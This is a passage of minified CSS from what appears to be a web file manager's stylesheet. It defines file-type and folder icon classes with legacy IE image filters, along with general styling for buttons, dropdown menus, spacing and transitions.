\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s 